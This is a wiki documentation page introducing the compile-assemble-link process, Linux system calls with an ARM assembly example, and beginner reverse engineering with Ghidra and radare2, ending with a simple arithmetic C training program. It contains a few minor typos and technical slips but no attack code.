Writing program logic in assembler is unfortunately still somewhat cumbersome. Firstly, machine instructions expressed in words or symbols, despite commonalities across different processors, remain heavily dependent on the specific processor architecture. Secondly, human thought constructs can be complex and may be implemented differently or with difficulty in various processor assemblers. This situation has led to another level of abstraction: the development of higher-level programming languages. These languages provide means to express logical constructs in ways that are more easily understandable to humans and can be formulated universally across different processor instruction sets. From this point onward, primitives can be formulated in these higher-level languages, which are then translated into the specific assembler instruction set of a processor by a program called a compiler.&lt;br /&gt;
&lt;br /&gt;
=== Compilation Process Example ===&lt;br /&gt;
&lt;br /&gt;
Here is a highly simplified example illustrating the respective representations of a sample program:&lt;br /&gt;
&lt;br /&gt;
* Example.c:&lt;br /&gt;
&lt;br /&gt;
 int main() {&lt;br /&gt;
    exit(0);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Compilation process:&lt;br /&gt;
&lt;br /&gt;
Command to invoke only the GCC compiler under Linux:&lt;br /&gt;
&lt;br /&gt;
 gcc -S Example.c&lt;br /&gt;
&lt;br /&gt;
* Example.s:&lt;br /&gt;
&lt;br /&gt;
 main:&lt;br /&gt;
    pushl   %ebp&lt;br /&gt;
    movl    %esp, %ebp&lt;br /&gt;
    pushl   $0&lt;br /&gt;
    call    exit&lt;br /&gt;
    addl    $4, %esp&lt;br /&gt;
    popl    %ebp&lt;br /&gt;
    ret&lt;br /&gt;
&lt;br /&gt;
Assembly Process:&lt;br /&gt;
&lt;br /&gt;
Command under Linux to translate an assembly program into machine code:&lt;br /&gt;
&lt;br /&gt;
 as Example.s -o Example.o&lt;br /&gt;
&lt;br /&gt;
* Example.o:&lt;br /&gt;
&lt;br /&gt;
 0000    55&lt;br /&gt;
 0001    89E5&lt;br /&gt;
 0003    6A00&lt;br /&gt;
 0005    E800000000&lt;br /&gt;
 000a    83C404&lt;br /&gt;
 000d    89EC&lt;br /&gt;
 000f    5D&lt;br /&gt;
 0010    C3&lt;br /&gt;
 main:   0&lt;br /&gt;
 0006:   exit ADDR32 ; Relocation information: insert the address of &amp;quot;exit&amp;quot; at address 0006&lt;br /&gt;
&lt;br /&gt;
Linking Process:&lt;br /&gt;
&lt;br /&gt;
Command under Linux to combine object files into a binary:&lt;br /&gt;
&lt;br /&gt;
 ld Example.o -o Example&lt;br /&gt;
&lt;br /&gt;
* Example.exe&lt;br /&gt;
&lt;br /&gt;
 …&lt;br /&gt;
 0030    55&lt;br /&gt;
 0031    89E5&lt;br /&gt;
 0033    6A00&lt;br /&gt;
 0035    E848010000 ; Address of the function &amp;quot;exit&amp;quot; was inserted by the linker&lt;br /&gt;
 003a    83C404&lt;br /&gt;
 003d    89EC&lt;br /&gt;
 003f    5D&lt;br /&gt;
 0040    C3&lt;br /&gt;
 …&lt;br /&gt;
&lt;br /&gt;
== Working with an operating-system ==&lt;br /&gt;
&lt;br /&gt;
Despite higher-level programming languages, challenges such as operating specific hardware, managing multitasking, and handling virtual memory management persist. To address these issues, the concept of an operating system (OS) was introduced as a solution. An operating system is a program or a collection of programs that perform various tasks, including:&lt;br /&gt;
&lt;br /&gt;
* Loading and executing programs&lt;br /&gt;
* Managing multitasking&lt;br /&gt;
* Virtualizing memory, allowing each program to be written as if it starts at address 0 without conflict in multitasking scenarios (this is achieved, for example, using specialized hardware like a Memory Management Unit, MMU)&lt;br /&gt;
* Managing hardware and providing hardware abstractions through drivers, eliminating the need for every programmer to understand the intricate details of hardware operation (e.g., configuring voltage levels manually for network card operations)&lt;br /&gt;
* Providing a user-friendly interface for users&lt;br /&gt;
&lt;br /&gt;
To utilize the functionalities of an operating system, various programming interfaces (APIs) were developed and standardized. These APIs offer similar functions (known as primitives). One prominent example is the Portable Operating System Interface (POSIX) standard (ISO/IEC/IEEE 9945), which has been largely implemented by operating systems like Linux.&lt;br /&gt;
&lt;br /&gt;
Examples of primitives offered by POSIX in a higher-level programming language like C include:&lt;br /&gt;
&lt;br /&gt;
 * int open(const char *path, int oflag, ...) for opening files&lt;br /&gt;
 * int close(int fildes) for closing files&lt;br /&gt;
 * pid_t fork(void) for creating a new process&lt;br /&gt;
 * void (*signal(int sig, void (*func)(int)))(int) for registering signal handler functions&lt;br /&gt;
 * ...&lt;br /&gt;
&lt;br /&gt;
At the hardware level, these primitives are implemented through system calls to the operating system. These system calls are highly dependent on the operating system and processor.&lt;br /&gt;
&lt;br /&gt;
For instance, the Linux kernel maintains a list of all system calls it provides, known as the System Call Table. Each system call is associated with a unique number and a kernel internal function that performs the actual tasks. To invoke a system call, for example on x86 machines, one loads the number of the desired call into the EAX register and then triggers a software interrupt 128 (hexadecimal: 0x80). The arguments for the system call are stored in CPU registers according to the FastCall calling convention.&lt;br /&gt;
&lt;br /&gt;
The software interrupt, also known as an exception, halts the execution of the program in user mode and triggers the execution of an exception handler in kernel mode. The kernel&#039;s exception handler reads the EAX register and, if it contains a valid system call number, invokes the corresponding kernel function from the System Call Table with the arguments stored in the other registers. After validating the arguments, the kernel performs the requested tasks. Upon completion of this function, the exception handler finishes its work, and normal program execution resumes.&lt;br /&gt;
&lt;br /&gt;
Example of using a POSIX system call under Linux:&lt;br /&gt;
&lt;br /&gt;
 .global _start&lt;br /&gt;
 _start:&lt;br /&gt;
    MOV R0, #1         @ Set R0 to define the data stream (STDOUT here). This data stream is typically connected to the console.&lt;br /&gt;
    LDR R1, =message   @ Load R1 with a pointer to the data to be written.&lt;br /&gt;
    LDR R2, =len       @ Load R2 with the length of the data to be written.&lt;br /&gt;
    MOV R7, #4         @ Set R7 to define the desired system call (here, write to STDOUT).&lt;br /&gt;
    SWI 0              @ Trigger software interrupt 0 (syscall).&lt;br /&gt;
    MOV R7, #1         @ Set R7 to define the exit system call.&lt;br /&gt;
    SWI 0              @ Trigger software interrupt 0 (syscall).&lt;br /&gt;
 .data&lt;br /&gt;
 message:&lt;br /&gt;
    .asciz &amp;quot;Hello World! \n&amp;quot;  @ Define the message to be printed.&lt;br /&gt;
 len = .-message              @ Calculate the length of the message.&lt;br /&gt;
&lt;br /&gt;
Explanation:&lt;br /&gt;
&lt;br /&gt;
 Register R0 is used to define the data stream (in this case, STDOUT), which is the default output connected to the console.&lt;br /&gt;
 Register R1 serves as a pointer to the data that will be written.&lt;br /&gt;
 Register R2 indicates the length of the data to be written.&lt;br /&gt;
 Register R7 is used to specify the desired system call (in this case, writing to STDOUT).&lt;br /&gt;
&lt;br /&gt;
Finally, the operating system must be instructed to terminate the program so that data processing does not continue indefinitely. This is achieved with software interrupt #1.&lt;br /&gt;
&lt;br /&gt;
== Reverse Engineering ==&lt;br /&gt;
&lt;br /&gt;
=== Description ===&lt;br /&gt;
&lt;br /&gt;
Reverse engineering is the process of analyzing a finished product or system to understand its design, structure, and functionality. This process is frequently applied in software development, as well as in hardware development and other engineering disciplines.&lt;br /&gt;
&lt;br /&gt;
=== Applications of Reverse Engineering ===&lt;br /&gt;
&lt;br /&gt;
Software Development:&lt;br /&gt;
&lt;br /&gt;
* Bug Fixing and Debugging&lt;br /&gt;
* Compatibility and Interoperability&lt;br /&gt;
* Security Analysis&lt;br /&gt;
* Detecting License Violations&lt;br /&gt;
&lt;br /&gt;
Hardware Development:&lt;br /&gt;
&lt;br /&gt;
* Product Analysis&lt;br /&gt;
* Repair and Maintenance&lt;br /&gt;
* Manufacturing Spare Parts&lt;br /&gt;
&lt;br /&gt;
=== Typical Steps in Reverse Engineering ===&lt;br /&gt;
&lt;br /&gt;
1. Collection and Gathering information about the target product&lt;br /&gt;
&lt;br /&gt;
2. Disassembly and Decompilation (converting binary code or machine code into a higher-level programming language or human-readable form)&lt;br /&gt;
&lt;br /&gt;
3. Analysis and Documentation of the individual components and their functionality&lt;br /&gt;
&lt;br /&gt;
4. Recovery and Reconstruction&lt;br /&gt;
&lt;br /&gt;
=== Legal Ethical Considerations ===&lt;br /&gt;
&lt;br /&gt;
Reverse engineering can raise legal and ethical questions, particularly concerning intellectual property. While it is legal in many cases, there are certain situations where it can lead to legal disputes:&lt;br /&gt;
&lt;br /&gt;
* Copyright: No rights of the holder&#039;s permission&lt;br /&gt;
* Patents: Patent infringments if reproduced products use patented technologies&lt;br /&gt;
* Terms of Use: Many software licenses explicitly prohibit reverse engineering&lt;br /&gt;
&lt;br /&gt;
=== Tools and Techniques ===&lt;br /&gt;
&lt;br /&gt;
There are 2 common tools which are free and open-source:&lt;br /&gt;
&lt;br /&gt;
 * Ghidra&lt;br /&gt;
 * Radare2&lt;br /&gt;
&lt;br /&gt;
== Ghidra ==&lt;br /&gt;
&lt;br /&gt;
=== Description ===&lt;br /&gt;
&lt;br /&gt;
Ghidra is an open-source software, created by the National Security Agency (NSA) and publicly released in 2019. It offers a powerful environment for reverse engineering and malware analysis. Ghidra supports a wide variety of processor architectures and file formats, making it a versatile tool for security researchers and developers.&lt;br /&gt;
&lt;br /&gt;
=== Installation ===&lt;br /&gt;
&lt;br /&gt;
Requirements:&lt;br /&gt;
 * Java Development Kit (JDK) 11 or higher&lt;br /&gt;
 * At least 4 GB of RAM (8GB or more recommended)&lt;br /&gt;
&lt;br /&gt;
Steps:&lt;br /&gt;
 * Download the latest version of Ghidra from the official website: https://ghidra-sre.org/&lt;br /&gt;
 * Unzip the downloaded archive to a directory of your choice&lt;br /&gt;
 * Ensure that the JDK is installed and the &#039;JAVA_HOME&#039; environment variable is set correctly&lt;br /&gt;
&lt;br /&gt;
Starting Ghidra:&lt;br /&gt;
&lt;br /&gt;
Navigate to the directory where you unzipped Ghidra and run the start script:&lt;br /&gt;
&lt;br /&gt;
 * Linux/macOS: ./ghidraRun&lt;br /&gt;
 * Windows: ./ghidraRun.bat&lt;br /&gt;
&lt;br /&gt;
=== Basic Features ===&lt;br /&gt;
&lt;br /&gt;
Creating a new project:&lt;br /&gt;
&lt;br /&gt;
 1. Start Ghidra and create a new project (&#039;File -&amp;gt; New Project&#039;)&lt;br /&gt;
 2. Choose a project type (usually Non-shared Project) and specify a location and name for the project&lt;br /&gt;
 3. Import the binary file you want to analyze (&#039;File -&amp;gt; Import File&#039;)&lt;br /&gt;
&lt;br /&gt;
Analyzing the Binary:&lt;br /&gt;
&lt;br /&gt;
 1. After importing the file, double-click on it in the explorer to open it&lt;br /&gt;
 2. Ghidra will automatically perform an initial analysis of the file. Confirm the suggested settings and start the analysis.&lt;br /&gt;
&lt;br /&gt;
Disassembly and Decompilation:&lt;br /&gt;
&lt;br /&gt;
 Disassembly: Shows the machine code of the binary file. This is useful for understanding the low-level execution of the file.&lt;br /&gt;
 Decompilation: Converts the machine code into a higher-level, human-readable form (similar to C code).&lt;br /&gt;
&lt;br /&gt;
=== Advanced Features ===&lt;br /&gt;
&lt;br /&gt;
* Scripting&lt;br /&gt;
&lt;br /&gt;
Ghidra supports scripting to automate complex analyses. You can write scripts in Java or Python (Jython).&lt;br /&gt;
&lt;br /&gt;
* Debugging&lt;br /&gt;
&lt;br /&gt;
Ghidra can be integrated with external debuggers to perform dynamic analysis. This allows you to set breakpoints and step through the code.&lt;br /&gt;
&lt;br /&gt;
Of course there are many other notable features, but these are beyond the scope of this documentation.&lt;br /&gt;
&lt;br /&gt;
== Radare2 ==&lt;br /&gt;
&lt;br /&gt;
=== Description ===&lt;br /&gt;
&lt;br /&gt;
Radare2 is a comprehensive framework for reverse engineering and binary analysis. It offers a wide range of features, from static and dynamic analysis to patching and debugging support. Due to its power and flexibility, radare2 is popular among security experts, malware analysts, and developers.&lt;br /&gt;
&lt;br /&gt;
=== Installation ===&lt;br /&gt;
&lt;br /&gt;
Radare2 can be installed on various operating systems (comes pre-installed on kali-linux). These are the steps for the most common platforms:&lt;br /&gt;
&lt;br /&gt;
* Linux&lt;br /&gt;
 git clone https://github.com/radareorg/radare2.git&lt;br /&gt;
 cd radare2&lt;br /&gt;
 sys/install.sh&lt;br /&gt;
&lt;br /&gt;
* macOS&lt;br /&gt;
 brew install radare2&lt;br /&gt;
&lt;br /&gt;
* Windows&lt;br /&gt;
 Download the installation package from the official website and follow the instructions.&lt;br /&gt;
&lt;br /&gt;
=== Basic Commands ===&lt;br /&gt;
&lt;br /&gt;
After installation, you can start radare2 by typing &#039;r2&#039; followd by the path to the binary you want to analyze:&lt;br /&gt;
&lt;br /&gt;
 r2 /path/to/binary&lt;br /&gt;
&lt;br /&gt;
Now typically you start by typing &#039;V&#039; to enter the hex-view, afterwards you have following options:&lt;br /&gt;
&lt;br /&gt;
* p - change view forwards&lt;br /&gt;
* P - change view backwards&lt;br /&gt;
* aaa - analyze the binary to be able to use further instructions&lt;br /&gt;
* s - search for a keyword&lt;br /&gt;
* afl - find all functions&lt;br /&gt;
* q - quit to start screen&lt;br /&gt;
* ? - help and information&lt;br /&gt;
* VV - opens a visual mode with a graphical representation&lt;br /&gt;
&lt;br /&gt;
=== Advanced Features ===&lt;br /&gt;
&lt;br /&gt;
* Scripting&lt;br /&gt;
With radare2, you can write scripts in various languages to perform complex analyses and automations.&lt;br /&gt;
&lt;br /&gt;
* Debugging&lt;br /&gt;
Radare2 also supports debugging binaries:&lt;br /&gt;
&lt;br /&gt;
 r2 -d /path/to/binary&lt;br /&gt;
&lt;br /&gt;
In debug mode, additional commands are available:&lt;br /&gt;
&lt;br /&gt;
* db - sets a breakpoint&lt;br /&gt;
* dc - continue execution&lt;br /&gt;
* dr - displays register contents&lt;br /&gt;
&lt;br /&gt;
Of course there are many other notable features, but these are beyond the scope of this documentation.&lt;br /&gt;
&lt;br /&gt;
== Training Code ==&lt;br /&gt;
&lt;br /&gt;
=== simpleMath.c ===&lt;br /&gt;
&lt;br /&gt;
 include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
 int add(int a, int b) {&lt;br /&gt;
    return a + b;&lt;br /&gt;
 }&lt;br /&gt;
 int subtract(int a, int b) {&lt;br /&gt;
    return a - b;&lt;br /&gt;
 }&lt;br /&gt;
 int multiply(int a, int b) {&lt;br /&gt;
    return a * b;&lt;br /&gt;
 }&lt;br /&gt;
 int main() {&lt;br /&gt;
    int x = 5;&lt;br /&gt;
    int y = 3;&lt;br /&gt;
    int sum = add(x, y);&lt;br /&gt;
    int diff = subtract(x, y);&lt;br /&gt;
    int prod = multiply(x, y);&lt;br /&gt;
    printf(&amp;quot;Sum: %d\n&amp;quot;, sum);&lt;br /&gt;
    printf(&amp;quot;Difference: %d\n&amp;quot;, diff);&lt;br /&gt;
    printf(&amp;quot;Product: %d\n&amp;quot;, prod);&lt;br /&gt;
    return 0;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Don&#039;t forget to compile the file first with gcc!&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://ghidra-sre.org/&lt;br /&gt;
* https://rada.re/n/radare2.html&lt;br /&gt;
* https://github.com/radareorg/radare2&lt;br /&gt;
* https://github.com/NationalSecurityAgency/ghidra&lt;br /&gt;
* https://beginners.re/RE4B-DE.pdf&lt;br /&gt;
* Hardwaregrundlagen: Friedrich Bauer - Vorlesung Digitale Systeme - Technische Universität Wien “F. Bauer - Digitale Systeme - Institut für Computertechnik WS 2016/17&amp;quot;&lt;br /&gt;
* Carl Hamacher, Zvonko Vranesic, Safwat Zaky, Naraig Manjikian - Computer Organization and Embedded System (SIXTH EDITION) (McGRAW HILL INTERNATIONAL EDITION)&lt;br /&gt;
* Horst Schirmeier - Vorlesung Betriebssysteme - Technische Universität Dortmund SS 2020 https://www.youtube.com/watch?v=DX1wmistewI&amp;amp;list=PLOlqF42t6O1vcrGTDEagGE5PrVrO0ovqf&lt;br /&gt;
* https://www.linux-magazin.de/ausgaben/2004/08/kern-technik/&lt;br /&gt;
* https://articles.manugarg.com/systemcallinlinux2_6.html&lt;br /&gt;
* https://pubs.opengroup.org/onlinepubs/9699919799.2018edition/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
</feed>